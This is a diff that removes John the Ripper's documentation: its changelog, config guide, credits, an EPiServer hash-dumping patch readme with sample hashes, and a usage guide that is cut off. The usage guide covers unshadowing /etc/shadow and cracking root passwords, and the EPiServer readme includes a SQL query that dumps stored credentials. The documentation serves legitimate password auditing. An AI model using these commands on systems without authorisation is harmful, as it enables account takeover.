* For use primarily by the jumbo patch (and later by future enhancements to the
|
||||
official versions as well), the loader now includes logic to warn the user of
|
||||
ambiguous hash encodings (e.g. LM vs. NTLM vs. raw-MD5, all of which may be
|
||||
represented as 32 hexadecimal characters) and of excessive partial hash
|
||||
collisions, which it works around (these are typically caused by an incomplete
|
||||
implementation of a new hash type).
|
||||
* The "unique" and "unshadow" programs have been made significantly faster.
|
||||
* "DateTime", "Repeats", "Subsets", "AtLeast1-Simple", "AtLeast1-Generic", and
|
||||
"Policy" external mode samples have been added to the default john.conf.
|
||||
* The self-tests have been enhanced to detect more kinds of program bugs.
|
||||
* A few minor bug fixes and enhancements were made.
|
||||
|
||||
The following changes have been made between John 1.7.6 and 1.7.6.1:
|
||||
|
||||
* Corrected a logic error introduced in JtR 1.7.4.2: in "single crack" mode,
|
||||
we need a salt's key buffer even when we have no words corresponding to that
|
||||
salt's hashes to base candidate passwords on. We need this buffer to hold
|
||||
other salts' successful guesses for testing against this salt's hashes.
|
||||
|
||||
The following changes have been made between John 1.7.5.1 and 1.7.6:
|
||||
|
||||
* Generic crypt(3) support (enabled with "--format=crypt") has been added for
|
||||
auditing password hash types supported by the system but not yet supported by
|
||||
John's own optimized cryptographic routines (such as SHA-crypt and SunMD5).
|
||||
* Optional parallelization of the above has been implemented by means of OpenMP
|
||||
along with glibc's crypt_r(3) or Solaris' MT-safe crypt(3C).
|
||||
* Optional parallelization of John's own optimized code for the OpenBSD-style
|
||||
Blowfish-based crypt(3) (bcrypt) hashes with OpenMP has been added.
|
||||
* A more suitable version of 32-bit x86 assembly code for Blowfish is now
|
||||
chosen on Core i7 and similar CPUs (when they happen to run a 32-bit build).
|
||||
* More optimal DES S-box expressions for PowerPC with AltiVec (making use of
|
||||
the conditional select operation) contributed by Dumplinger Boy (Dango-Chu)
|
||||
have been integrated.
|
||||
* The bitslice DES C source code has been reworked to allow for the use of
|
||||
arbitrary SIMD intrinsics, which was previously only implemented for AltiVec
|
||||
as a special case.
|
||||
* Support for SSE2 and MMX intrinsics with bitslice DES (as an alternative to
|
||||
the supplied assembly code) has been added (currently only enabled for SSE2 on
|
||||
x86-64 when compiling with GCC 4.4+).
|
||||
* Support for mixed-type longer virtual vectors (such as SSE2+MMX, SSE2+ALU,
|
||||
AltiVec+ALU, and other combinations) with bitslice DES has been added (not
|
||||
enabled by default yet, primarily intended for easy benchmarks on future CPUs,
|
||||
with future compiler versions, with even more SIMD instruction sets, and with
|
||||
different DES S-box expressions that might be available in the future).
|
||||
* The obsolete 32-bit SPARC assembly implementation of DES has been dropped.
|
||||
* The loader will now detect password hashes specified on a line on their own,
|
||||
not only as part of an /etc/passwd or PWDUMP format file.
|
||||
* When run in "--stdin" mode and reading candidate passwords from a terminal
|
||||
(to be typed by the user), John will no longer mess with the terminal settings.
|
||||
* John will now restore terminal settings not only on normal termination or
|
||||
interrupt, but also when forcibly interrupted with two Ctrl-C keypresses.
|
||||
|
||||
The following changes have been made between John 1.7.5 and 1.7.5.1:
|
||||
|
||||
* A new numeric variable has been added to the word mangling rules engine:
|
||||
"p" for position of the character last found with the "/" or "%" commands.
|
||||
|
||||
The following changes have been made between John 1.7.4.2 and 1.7.5:
|
||||
|
||||
* Support for the use of "--format" along with "--show" or "--make-charset" has
|
||||
been added.
|
||||
* The choice of .rec and .log filenames for custom session names has been made
|
||||
more intuitive.
|
||||
* Support for "\r" (character lists with repeats) and "\p0" (reference to the
|
||||
immediately preceding character list/range) has been added to the word mangling
|
||||
rules preprocessor.
|
||||
* The undefined and undocumented behavior of some subtle word mangling rules
|
||||
preprocessor constructs has been changed to arguably be more sensible.
|
||||
* Some bugs were fixed, most notably JtR crashing on no password hashes loaded
|
||||
(bug introduced in 1.7.4.2).
|
||||
|
||||
The following changes have been made between John 1.7.4 and 1.7.4.2:
|
||||
|
||||
* Major performance improvements for processing of very large password files
|
||||
or sets of files, especially with salt-less or same-salt hashes, achieved
|
||||
primarily through introduction of two additional hash table sizes (64K and 1M
|
||||
entries), changes to the loader, and smarter processing of successful guesses
|
||||
(to accommodate getting thousands of hashes successfully cracked per second).
|
||||
* Many default buffer and hash table sizes have been increased and thresholds
|
||||
for the use of hash tables lowered, meaning that John will now tend to use
|
||||
more memory to achieve better speed (unless it is told not to with the
|
||||
"--save-memory" option).
|
||||
* Some previously missed common website passwords found on public lists of
|
||||
"top N passwords" have been added to the bundled common passwords list.
|
||||
* Some bugs introduced in 1.7.4 and affecting wordlist mode's elimination of
|
||||
consecutive duplicate candidate passwords have been fixed.
|
||||
|
||||
The following changes have been made between John 1.7.3.4 and 1.7.4:
|
||||
|
||||
* Support for back-references and "parallel" ranges has been added to the
|
||||
word mangling rules preprocessor.
|
||||
* The notion of numeric variables (to be used for character positions
|
||||
and substring lengths along with numeric constants supported previously)
|
||||
has been introduced into the rules engine. Two pre-defined variables
|
||||
("l" for initial or updated word's length and "m" for initial or
|
||||
memorized word's last character position) and 11 user-defined variables
|
||||
("a" through "k") have been added. Additionally, there's a new numeric
|
||||
constant: "z" for "infinite" position or length.
|
||||
* New rule commands have been added: "A" (append, insert, or prefix with a
|
||||
string), "X" (extract a substring from memory and insert), "v" (subtract
|
||||
and assign to a numeric variable).
|
||||
* New rule reject flags have been added: ":" (no-op, for use along with the
|
||||
"parallel" ranges feature of the preprocessor) and "p" (reject unless word
|
||||
pair commands are allowed, for sharing of the same ruleset between "single
|
||||
crack" and wordlist modes).
|
||||
* Processing of word mangling rules has been made significantly faster in
|
||||
multiple ways (caching of the current length, less copying of data, code
|
||||
and data placement changes for better branch prediction and L1 cache usage,
|
||||
compiler-friendly use of local variables, code micro-optimizations,
|
||||
removal of no-op rule commands in an initial pass).
|
||||
* The default rulesets for "single crack" and wordlist modes have been
|
||||
revised to make use of the new features, for speed, to produce fewer
|
||||
duplicates, and to attempt additional kinds of candidate passwords (such
|
||||
as for years 2010 through 2019 with "year-based" rules).
|
||||
* The idle priority emulation code has been optimized for lower overhead when
|
||||
there appears to be no other demand for CPU time.
|
||||
* The default for the Idle setting has been changed from N to Y.
|
||||
|
||||
The following changes have been made between John 1.7.3.1 and 1.7.3.4:
|
||||
|
||||
* "make check" has been implemented (for Unix-like systems only).
|
||||
* The "--test" option will now take an optional argument - the duration of each
|
||||
benchmark in seconds.
|
||||
* Section .note.GNU-stack has been added to all assembly files to avoid the
|
||||
stack area unnecessarily being made executable on Linux systems that use this
|
||||
mechanism.
|
||||
* Some very minor bugs that did not affect normal operation have been fixed.
|
||||
* Some unimportant compiler warnings have been fixed, a source code comment has
|
||||
been made more verbose and more complete.
|
||||
|
||||
The following changes have been made between John 1.7.3 and 1.7.3.1:
|
||||
|
||||
* Corrected the x86 assembly files for building on Mac OS X.
|
||||
* Merged in some generic changes from JtR Pro.
|
||||
|
||||
The following changes have been made between John 1.7.2 and 1.7.3:
|
||||
|
||||
* Two Blowfish-based crypt(3) hashes may now be computed in parallel for much
|
||||
better performance on modern multi-issue CPUs with a sufficient number of
|
||||
registers (e.g., x86-64).
|
||||
* Bitslice DES assembly code for x86-64 has been converted to use
|
||||
instruction pointer relative addressing (needed for Mac OS X support).
|
||||
* New make targets: macosx-universal, macosx-x86-64, solaris-x86-64-cc,
|
||||
solaris-x86-64-gcc, solaris-x86-sse2-cc, solaris-x86-sse2-gcc,
|
||||
solaris-x86-mmx-cc, solaris-x86-mmx-gcc, solaris-x86-any-cc, linux-ia64;
|
||||
other changes to the Makefile.
|
||||
* Minor bug fixes.
|
||||
* "DumbForce" and "KnownForce" external mode samples have been added to the
|
||||
default john.conf.
|
||||
|
||||
The following changes have been made between John 1.7.1 and 1.7.2:
|
||||
|
||||
* Bitslice DES assembly code for x86-64 making use of the 64-bit mode
|
||||
extended SSE2 with 16 XMM registers has been added for better performance
|
||||
at DES-based crypt(3) hashes with x86-64 builds on AMD processors.
|
||||
* New make target for FreeBSD/x86-64.
|
||||
|
||||
The following changes have been made between John 1.7.0.2 and 1.7.1:
|
||||
|
||||
* Bitslice DES code for x86 with SSE2 has been added for better performance
|
||||
at DES-based crypt(3) hashes on Pentium 4 and SSE2-capable AMD processors.
|
||||
* Assorted high-level changes have been applied to improve performance
|
||||
on current x86-64 processors.
|
||||
* New make target for NetBSD/SPARC64.
|
||||
* Minor source code cleanups.
|
||||
|
||||
The following changes have been made between John 1.7 and 1.7.0.2:
|
||||
|
||||
* Minor bug and portability fixes.
|
||||
* Better handling of certain uncommon scenarios and improper uses of John.
|
||||
* Bonus: "Keyboard" cracker included in the default john.conf (john.ini)
|
||||
that will try sequences of adjacent keys on a keyboard as passwords.
|
||||
|
||||
The following changes have been made between John 1.6 and 1.7:
|
||||
|
||||
* Bitslice DES code for x86 with MMX: more than twice faster than older
|
||||
non-bitslice MMX code.
|
||||
* Bitsliced the LM hash code as well: now several times faster.
|
||||
* Significant improvements to the generic bitslice DES code: +20% on RISC.
|
||||
* PowerPC G4+ AltiVec support (Mac OS X and Linux): effective 128-bitness
|
||||
for bitslice DES, resulting in huge speedups.
|
||||
* First attempt at generic vectorization support for bitslice DES.
|
||||
* Two MD5 hashes at a time for extra ILP on RISC: up to +80% on Alpha EV5+.
|
||||
* Generic Blowfish x86 assembly code in addition to the original Pentium
|
||||
version: +15% on the Pentium Pro family (up to and including Pentium III),
|
||||
+20% on AMD K6 (Pentium 4 and newer AMD CPUs are more happy running the
|
||||
original Pentium code for Blowfish).
|
||||
* Verbose logging of events to the global or a session-specific log file.
|
||||
* Better idle priority emulation with POSIX.1b (POSIX.4) scheduling calls.
|
||||
* System-wide installation support for *BSD ports and Linux distributions.
|
||||
* AIX, DU/Tru64 C2, HP-UX tcb files support in unshadow.
|
||||
* New make targets for Linux/x86-64, Linux/PowerPC, FreeBSD/Alpha,
|
||||
OpenBSD/x86-64, OpenBSD/Alpha, OpenBSD/SPARC, OpenBSD/SPARC64,
|
||||
OpenBSD/PowerPC, OpenBSD/PA-RISC, OpenBSD/VAX, NetBSD/VAX, Solaris/SPARC64,
|
||||
Mac OS X (PowerPC and x86), SCO, BeOS.
|
||||
* Bug and portability fixes, and new bugs.
|
||||
* Bonus: "Strip" cracker included in the default john.conf (john.ini).
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CHANGES,v 1.58 2011/06/22 13:39:46 solar Exp $
|
||||
|
|
@ -1,125 +0,0 @@
|
|||
Customizing John the Ripper.
|
||||
|
||||
John the Ripper's behavior can be customized by editing its
|
||||
configuration file. The configuration file can be named either
|
||||
john.conf (on Unix-like systems) or john.ini (on systems which have a
|
||||
notion of filename "extensions" and limit them to 3 characters).
|
||||
|
||||
This file is searched for in private John's "home directory" and, if
|
||||
not found in the private directory and John is installed system-wide,
|
||||
also in John's system-wide shared data files directory.
|
||||
|
||||
You can set global options, define wordlist and "single crack" mode
|
||||
rules, define parameters for "incremental" modes, or even define a new
|
||||
external cracking mode.
|
||||
|
||||
The configuration file consists of several sections. Each section
|
||||
starts with a line containing its name, in brackets ("[...]"). Sections
|
||||
consist either of "variable = value" assignments (each on its own line)
|
||||
or of some other content specific to the particular section's type
|
||||
(names of such sections start with "List."). Section and variable names
|
||||
are not case sensitive. Comment lines start with a hash character ("#")
|
||||
or a semicolon (";") and are ignored. Also ignored are any empty lines.
|
||||
|
||||
|
||||
General options.
|
||||
|
||||
Some global options can be defined in the [Options] section. Currently,
|
||||
you can set the following options:
|
||||
|
||||
Wordlist = FILENAME
|
||||
|
||||
Set this to your wordlist file name, to be used in batch mode (which is
|
||||
activated when you start John with password files, but not specifying a
|
||||
cracking mode). The default is "$JOHN/password.lst", that is, the file
|
||||
named "password.lst" in John's "home directory".
|
||||
|
||||
Idle = Y|N
|
||||
|
||||
If set to "Y" (yes), John will try to use idle processor cycles only,
|
||||
thereby greatly reducing its impact on other system processes. The
|
||||
impact on performance of John itself is negligible except on otherwise
|
||||
overloaded systems. This setting does not affect John's startup time
|
||||
and non-cracking invocations of John; it only affects the actual
|
||||
cracking. The default is "Y" (yes).
|
||||
|
||||
Starting with version 1.7.7, this setting is ignored for OpenMP-enabled
|
||||
hash types when the actual number of threads is greater than 1.
|
||||
Unfortunately, it did not work right at least with GNU libgomp on Linux.
|
||||
|
||||
Save = SECONDS
|
||||
|
||||
This is the time interval (in seconds) between crash recovery file
|
||||
updates. The default is 600 seconds (10 minutes).
|
||||
|
||||
Beep = Y|N
|
||||
|
||||
If set to "Y" (yes), John will beep when a password is found. On
|
||||
Unix-like systems, it does this by sending the bell character (ASCII
|
||||
code 7) to the "standard error" file descriptor (which is normally
|
||||
directed to the terminal). The default is "N" (no).
|
||||
|
||||
|
||||
Defining wordlist and "single crack" modes rules.
|
||||
|
||||
The word mangling rules for wordlist and "single crack" modes are
|
||||
defined in separate sections, [List.Rules:Wordlist] and
|
||||
[List.Rules:Single], respectively. John the Ripper uses an extension of
|
||||
Crack's syntax for the rules. John supports all of the commands of
|
||||
Crack 5.0a plus a few more and, most importantly, it adds a
|
||||
preprocessor, which can generate multiple rules from a single source
|
||||
line.
|
||||
|
||||
When defining rules, simply place one rule (which may include
|
||||
preprocessor commands) per line. See RULES for information on the rules
|
||||
syntax and on the preprocessor.
|
||||
|
||||
|
||||
"Incremental" mode parameters.
|
||||
|
||||
To define the incremental mode parameters you need to create a section
|
||||
called [Incremental:MODE], where MODE is any name that you assign to the
|
||||
mode. There are some pre-defined incremental modes in the default
|
||||
configuration file supplied with John, you can use them as templates.
|
||||
|
||||
The following parameters are supported:
|
||||
|
||||
File = FILENAME
|
||||
|
||||
Set this to your charset file name. See EXAMPLES for an example on how
|
||||
to generate a custom charset file. There's no default.
|
||||
|
||||
MinLen = LENGTH
|
||||
|
||||
Minimum password length (the number of characters) to try. The default
|
||||
is 0.
|
||||
|
||||
MaxLen = LENGTH
|
||||
|
||||
Maximum password length to try. The default is 8 (or CHARSET_LENGTH as
|
||||
defined in src/params.h at compile time).
|
||||
|
||||
CharCount = COUNT
|
||||
|
||||
This allows you to limit the number of different characters (or rather,
|
||||
character indices) used. The effect is that John would favor simple
|
||||
longer candidate passwords over more complicated shorter ones, and would
|
||||
never attempt rare characters and character combinations, not even for
|
||||
really short passwords. Most of the time, this is undesired. Another
|
||||
use for this option is to make John print a warning if the charset only
|
||||
defines less than CharCount characters; this is how the pre-defined
|
||||
"incremental" modes use it. The default is to use as many different
|
||||
characters as are defined.
|
||||
|
||||
Extra = CHARACTERS
|
||||
|
||||
This can be used to make John try some extra characters that don't
|
||||
appear in the charset file. Just list all those characters here and
|
||||
they will be added, but considered the least probable.
|
||||
|
||||
|
||||
Defining an external mode.
|
||||
|
||||
See EXTERNAL.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CONFIG,v 1.5 2011/02/27 07:16:16 solar Exp $
|
||||
|
|
@ -1,28 +0,0 @@
|
|||
John the Ripper homepage is located at:
|
||||
|
||||
http://www.openwall.com/john/
|
||||
|
||||
There you will find instructions on joining the john-users mailing list.
|
||||
You will also be able to browse archives of past discussions. Please
|
||||
share your experience with using John the Ripper and ask questions
|
||||
(preferably advanced ones) on the list. Be sure to specify an
|
||||
informative message subject whenever you post to the list (that is,
|
||||
something better than "question" or "problem") and mention the version
|
||||
of John the Ripper, operating system, compiler, make target, etc. that
|
||||
you're using (if applicable). If you need to provide a binary file,
|
||||
place it on a private URL and post that, do not attach the file to your
|
||||
message.
|
||||
|
||||
If you need to contact me privately, please e-mail me at the address
|
||||
below, but most messages should really be directed to the list instead.
|
||||
|
||||
Please don't ask questions until you read the FAQ.
|
||||
|
||||
Commercial support for John the Ripper is available from Openwall:
|
||||
|
||||
http://www.openwall.com/services/
|
||||
|
||||
--
|
||||
Solar Designer <solar at openwall.com>
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CONTACT,v 1.3 2006/01/02 05:00:42 solar Exp $
|
||||
|
|
@ -1,75 +0,0 @@
|
|||
John the Ripper credits.
|
||||
|
||||
John the Ripper has been developed and is maintained by Solar Designer.
|
||||
|
||||
I would like to thank the following people for their direct or indirect
|
||||
help in making John what it is now:
|
||||
|
||||
* Matthew Kwan - for producing and letting everyone use his optimized
|
||||
DES S-box expressions (previously found in nonstd.c and sboxes.c, now
|
||||
replaced with Roman Rusakov's):
|
||||
|
||||
http://www.darkside.com.au/bitslice/
|
||||
|
||||
* Bruce Ford and Rémi Guyomarch - for producing and permitting the use
|
||||
of their MMX implementation of Matthew Kwan's S-box expressions
|
||||
(previously found in x86-mmx.S and x86-sse.S, with modifications, now
|
||||
replaced with code based on Roman Rusakov's S-box expressions).
|
||||
|
||||
* Dumplinger Boy (Dango-Chu) - for producing and letting everyone use
|
||||
his optimized DES S-box expressions making use of a vector conditional
|
||||
select operation such as on PowerPC with AltiVec (previously found in
|
||||
sboxes-s.c, now replaced with Roman Rusakov's):
|
||||
|
||||
http://dango.chu.jp/hiki/?Enhanced+Bitslice+DES
|
||||
|
||||
* Roman Rusakov - for the DES S-box expressions that current versions of
|
||||
John the Ripper use, as well as for optimization hints during early
|
||||
development of John the Ripper.
|
||||
|
||||
* Eli Biham - for the great "bitslice" paper:
|
||||
|
||||
http://www.cs.technion.ac.il/~biham/Reports/cs0891.ps.gz
|
||||
|
||||
* Lionel Cons - for making me add Kerberos AFS passwords support, for
|
||||
reporting some bugs, and for many good suggestions.
|
||||
|
||||
* stran9er - for tracking down the section alignment problem with MMX in
|
||||
the DOS and Win32 ports.
|
||||
|
||||
* Authors of the contributed patches ever listed on John the Ripper
|
||||
homepage and/or placed into contrib/ directory on the FTP server - for
|
||||
those patches which, while not included into the official John the
|
||||
Ripper for various reasons, are nevertheless very helpful to many users.
|
||||
|
||||
* All the people who have developed freeware crypt(3) implementations -
|
||||
for various tricks that I combined in my routines.
|
||||
|
||||
* Niels Provos and Poul-Henning Kamp - for original Blowfish-based and
|
||||
MD5-based crypt(3), respectively, that my implementations are compatible
|
||||
with.
|
||||
|
||||
* Alec Muffett - for the original wordlist rules syntax.
|
||||
|
||||
* The SOrCErEr - for proving the large charset tables are worth
|
||||
implementing, and for introducing "-groups" in his cracker.
|
||||
|
||||
* Jackal - for the format of john.pot and parts of the user interface.
|
||||
|
||||
* Anton Ertl - for "Labels as Values" optimization that I use in
|
||||
compiler.c:
|
||||
|
||||
http://www.complang.tuwien.ac.at/papers/ertl96diss.ps.gz
|
||||
|
||||
* The developers of Cygwin - for Cygwin (at the time called Cygnus
|
||||
Developer's Kit) that I used for the Win32 port:
|
||||
|
||||
http://www.cygwin.com
|
||||
|
||||
* DJ Delorie - for DJGPP that I used for the DOS port:
|
||||
|
||||
http://www.delorie.com/djgpp/
|
||||
|
||||
* Charles W Sandmann - for CWSDPMI, the DPMI server used with DJGPP.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/CREDITS,v 1.15 2011/06/22 13:03:43 solar Exp $
|
||||
|
|
@ -1,33 +0,0 @@
|
|||
= Intro
|
||||
=======
|
||||
|
||||
EPiServer is a popular webbased content management system from Elektropost (http://www.episerver.com).
|
||||
You can dump the password hashes using the SQL syntax "select name, salt, hash from tblSID". The tblSID
|
||||
tabel stores interesting things such as usernames, salt and password hashes, but also passwords in cleartext.
|
||||
If a password can be found in cleartext it is found in the password column of tblSID.
|
||||
|
||||
= Install
|
||||
=========
|
||||
|
||||
Copy the epibf_X.Y-john_1.7.2.patch (where X and Y needs to be replaced with the version you downloaded)
|
||||
to your john source directory, e.g. john-1.7.2/src and then run "patch -p2 < epibf_X.Y-john_1.7.2.patch" (remember the X and Y).
|
||||
The patch will create a file called EPI_fmt.c, some files for SHA1 support as well as update some of johns
|
||||
files in order to incorporate the patch with john.
|
||||
|
||||
= Usage
|
||||
=======
|
||||
|
||||
This patch needs the format of the password file to be: <user>:<salt> <hash>. (Currently you need to include
|
||||
an inital 0x of both salt and hash.)
|
||||
|
||||
--- Contents of an example epipasswd file ---
|
||||
|
||||
webadmin:0x6631F625DEC28716FC24FA3CC1B3E2055E4281F4465226905C10D3456035 0x4F25D9BD24B81D85B1F2D106037C71CD2C828168
|
||||
epiuser:0x48F9BA13F54CE7AF669C76EEBC6BEA4564EBB77F1866CA5F2B297F7159C1 0xDA4260812C195025B4442C5C84E0F890122B285A
|
||||
|
||||
-------------- End --------------------------
|
||||
|
||||
You can then run "john epipasswd", the format will be autodetected.
|
||||
In case you'd like to check the performance of the patch try "john --test --format:epi".
|
||||
|
||||
-johannes
|
||||
|
|
@ -1,409 +0,0 @@
|
|||
John the Ripper usage examples.
|
||||
|
||||
These examples are to give you some tips on what John's features can be
|
||||
used for.
|
||||
|
||||
|
||||
Command line.
|
||||
|
||||
1. First, you need to get a copy of your password file. If your system
|
||||
uses shadow passwords, you may use John's "unshadow" utility to obtain
|
||||
the traditional Unix password file, as root:
|
||||
|
||||
umask 077
|
||||
unshadow /etc/passwd /etc/shadow > mypasswd
|
||||
|
||||
(You may need to replace the filenames as needed.)
|
||||
|
||||
Then make "mypasswd" available to your non-root user account that you
|
||||
will run John under. No further commands will need to be run as root.
|
||||
|
||||
If your system is ancient enough that it keeps passwords right in the
|
||||
world-readable /etc/passwd, simply make a copy of that file.
|
||||
|
||||
If you're going to be cracking Kerberos AFS passwords, use John's
|
||||
"unafs" utility to obtain a passwd-like file.
|
||||
|
||||
Similarly, if you're going to be cracking Windows passwords, use any of
|
||||
the many utilities that dump Windows password hashes (LM and/or NTLM) in
|
||||
Jeremy Allison's PWDUMP output format. Some of these utilities may be
|
||||
obtained here:
|
||||
|
||||
http://www.openwall.com/passwords/pwdump
|
||||
|
||||
2. Now, let's assume you've got a password file, "mypasswd", and want to
|
||||
crack it. The simplest way is to let John use its default order of
|
||||
cracking modes:
|
||||
|
||||
john mypasswd
|
||||
|
||||
This will try "single crack" mode first, then use a wordlist with rules,
|
||||
and finally go for "incremental" mode. Please refer to MODES for more
|
||||
information on these modes.
|
||||
|
||||
It is highly recommended that you obtain a larger wordlist than John's
|
||||
default password.lst and edit the "Wordlist = ..." line in the
|
||||
configuration file (see CONFIG) before running John. Some wordlists may
|
||||
be obtained here:
|
||||
|
||||
http://www.openwall.com/wordlists/
|
||||
|
||||
Of those available in the collection at the URL above, all.lst
|
||||
(downloadable as all.gz) and huge.lst (only available on the CD) are
|
||||
good candidates for the "Wordlist = ..." setting.
|
||||
|
||||
3. If you've got some passwords cracked, they are stored in
|
||||
$JOHN/john.pot. The john.pot file is not meant to be human-friendly.
|
||||
You should be using John itself to display the contents of its "pot
|
||||
file" in a convenient format:
|
||||
|
||||
john --show mypasswd
|
||||
|
||||
If the account list gets large and doesn't fit on the screen, you
|
||||
should, of course, use your shell's output redirection.
|
||||
|
||||
You might notice that many accounts have a disabled shell. You can make
|
||||
John skip those in the report. Assuming that the disabled shell is
|
||||
called "/etc/expired", the command would be:
|
||||
|
||||
john --show --shells=-/etc/expired mypasswd
|
||||
|
||||
or shorter, but will also match "/any/path/expired":
|
||||
|
||||
john --show --shells=-expired mypasswd
|
||||
|
||||
or if you also want to ignore some other shell, say "/etc/newuser":
|
||||
|
||||
john --show --shells=-expired,newuser mypasswd
|
||||
|
||||
To check if any root (UID 0) accounts got cracked:
|
||||
|
||||
john --show --users=0 mypasswd
|
||||
|
||||
or to check for cracked root (UID 0) accounts in multiple files:
|
||||
|
||||
john --show --users=0 *passwd* *.pwd
|
||||
|
||||
To display the root (username "root") account only:
|
||||
|
||||
john --show --users=root mypasswd
|
||||
|
||||
And finally, to check for privileged groups:
|
||||
|
||||
john --show --groups=0,1 mypasswd
|
||||
|
||||
4. You might prefer to manage the cracking modes manually. It is wise
|
||||
to start with "single crack" mode:
|
||||
|
||||
john --single mypasswd
|
||||
|
||||
or since the GNU-style double dashes are optional and since option
|
||||
names can be abbreviated for as long as they remain unambiguous:
|
||||
|
||||
john -si mypasswd
|
||||
|
||||
You should not abbreviate options in scripts which you would want to
|
||||
work with future versions of John since what is unambiguous now might
|
||||
become ambiguous with the addition of more options.
|
||||
|
||||
If you have more files to crack, it is preferable to load them at the
|
||||
same time:
|
||||
|
||||
john --single passwd1 passwd2
|
||||
|
||||
or even:
|
||||
|
||||
john --single *passwd* *.pwd
|
||||
|
||||
This way, John will run faster and might even crack more passwords than
|
||||
it would if you ran it on each password file separately.
|
||||
|
||||
5. To catch weak passwords not derived from readily available users'
|
||||
personal information, you should proceed with cracking modes demanding
|
||||
more processor time. First, let's try a tiny wordlist with word
|
||||
mangling rules enabled:
|
||||
|
||||
john --wordlist=password.lst --rules mypasswd
|
||||
|
||||
or abbreviating the options:
|
||||
|
||||
john -w=password.lst -ru mypasswd
|
||||
|
||||
Then proceed with a larger wordlist, also applying the mangling rules:
|
||||
|
||||
john --wordlist=all.lst --rules mypasswd
|
||||
|
||||
If you've got a lot of spare disk space to trade for performance and the
|
||||
hash type of your password files is relatively slow, you may use John's
|
||||
"unique" utility to eliminate any duplicate candidate passwords:
|
||||
|
||||
john --wordlist=all.lst --rules --stdout | unique mangled.lst
|
||||
john --wordlist=mangled.lst mypasswd
|
||||
|
||||
If you know that your target hash type truncates passwords at a given
|
||||
length, you may optimize this even further:
|
||||
|
||||
john --wordlist=all.lst --rules --stdout=8 | unique mangled8.lst
|
||||
john --wordlist=mangled8.lst mypasswd
|
||||
|
||||
Alternatively, you may simply use huge.lst available on Openwall
|
||||
wordlist collection CDs. It has word mangling rules pre-applied for the
|
||||
most common languages and it has any duplicates purged.
|
||||
|
||||
Depending on target hash type, the number of different salts (if
|
||||
applicable), the size of your wordlist, rules, and processor
|
||||
performance, wordlist-based cracking may take anywhere from under a
|
||||
second to many days.
|
||||
|
||||
You do not have to leave John running on a (pseudo-)terminal. If
|
||||
running John on a Unix-like system, you can simply disconnect from the
|
||||
server, close your xterm, etc. John will catch the SIGHUP ("hangup"
|
||||
signal) and continue running. Alternatively, you may prefer to start it
|
||||
in the background right away:
|
||||
|
||||
john --wordlist=all.lst --rules mypasswd &
|
||||
|
||||
Obviously, the "&" is specific to Unix shells and will not work on most
|
||||
other platforms.
|
||||
|
||||
You may further enhance this by specifying a session name:
|
||||
|
||||
john --session=allrules --wordlist=all.lst --rules mypasswd &
|
||||
|
||||
This ensures that you won't accidentally interfere with the instance of
|
||||
John running in the background if you proceed to start other sessions.
|
||||
|
||||
To view the status of a running session, use:
|
||||
|
||||
john --status
|
||||
|
||||
for the default session or:
|
||||
|
||||
john --status=allrules
|
||||
|
||||
for any other session. This works for both interrupted and running
|
||||
sessions. To obtain the most up-to-date information from a running
|
||||
session on a Unix-like system, send a SIGHUP to the appropriate "john"
|
||||
process.
|
||||
|
||||
Any interrupted sessions may be continued with:
|
||||
|
||||
john --restore
|
||||
|
||||
or:
|
||||
|
||||
john --restore=allrules
|
||||
|
||||
Finally, to make John have less impact on other processes, you should
|
||||
set the option "Idle = Y" in the configuration file (see CONFIG). The
|
||||
default may vary depending on the version and build of JtR.
|
||||
|
||||
To only crack accounts with a "good" shell (in general, the shell, user,
|
||||
and group filters described above work for all cracking modes as well):
|
||||
|
||||
john --wordlist=all.lst --rules --shells=sh,csh,tcsh,bash mypasswd
|
||||
|
||||
Like with all other cracking modes, it is faster to crack all the files
|
||||
you need cracked simultaneously:
|
||||
|
||||
john --wordlist=all.lst --rules passwd1 passwd2
|
||||
|
||||
You can crack some passwords only. This will try cracking all root
|
||||
(UID 0) accounts in all the password files:
|
||||
|
||||
john --wordlist=all.lst --rules --users=0 *passwd*
|
||||
|
||||
Alternatively, you may wish to not waste time cracking your very own
|
||||
passwords, if you're sure they're uncrackable:
|
||||
|
||||
john --wordlist=all.lst --rules --users=-root,solar *passwd*
|
||||
|
||||
Sometimes it is useful to split your password hashes into two sets which
|
||||
you crack separately, like:
|
||||
|
||||
john --wordlist=all.lst --rules --salts=2 *passwd*
|
||||
john --wordlist=all.lst --rules --salts=-2 *passwd*
|
||||
|
||||
This will make John try salts used on two or more password hashes first
|
||||
and then try the rest. Total cracking time will be almost the same, but
|
||||
you will get some passwords cracked earlier, which is useful, for
|
||||
example, for penetration testing and demonstrations to management.
|
||||
Similarly, you may check all password hashes with a small wordlist, but
|
||||
only those that you can check faster (with "--salts=2") with a larger
|
||||
one. With large numbers of password hashes and/or with a highly
|
||||
non-uniform distribution of salts, it may be appropriate to use a
|
||||
threshold larger than 2 with "--salts" (sometimes even values as high as
|
||||
1000 will do).
|
||||
|
||||
Note that the default wordlist rules include ":" (a no-op - try words as
|
||||
they are in the list) on the first line. If you already ran through a
|
||||
wordlist without using rules, and then decided to also try the same
|
||||
wordlist with rules, you'd better comment this line out.
|
||||
|
||||
6. The most powerful cracking mode in John is called "incremental" (not a
|
||||
proper name, but kept for historical reasons). You can simply run:
|
||||
|
||||
john --incremental mypasswd
|
||||
|
||||
or:
|
||||
|
||||
john -i mypasswd
|
||||
|
||||
This will use the default "incremental" mode parameters, which are
|
||||
defined in the configuration file's section named either
|
||||
[Incremental:All] (for most hash types) or [Incremental:LanMan] (for
|
||||
Windows LM hashes). By default, the [Incremental:All] parameters are
|
||||
set to use the full printable US-ASCII character set (95 characters) and
|
||||
to try all possible password lengths from 0 to 8. [Incremental:LanMan]
|
||||
is similar, except that it takes advantage of LM hashes being
|
||||
case-insensitive and of their halves limited to 7 characters each.
|
||||
|
||||
Don't expect "incremental" mode sessions to terminate in a reasonable
|
||||
time (unless all the passwords are weak and get cracked), read MODES for
|
||||
an explanation of this.
|
||||
|
||||
In some cases it is faster to use some other pre-defined incremental mode
|
||||
parameters and only crack simpler passwords, from a limited character
|
||||
set. The following command will try 26 different characters only,
|
||||
passwords from "a" to "zzzzzzzz" (in an optimal order):
|
||||
|
||||
john -i=alpha mypasswd
|
||||
|
||||
Of course, you can use most of the additional features demonstrated
|
||||
above for wordlist mode with "incremental" mode as well. For example,
|
||||
on a large-scale penetration test, you may have John crack only root
|
||||
(UID 0) accounts in a set of password files:
|
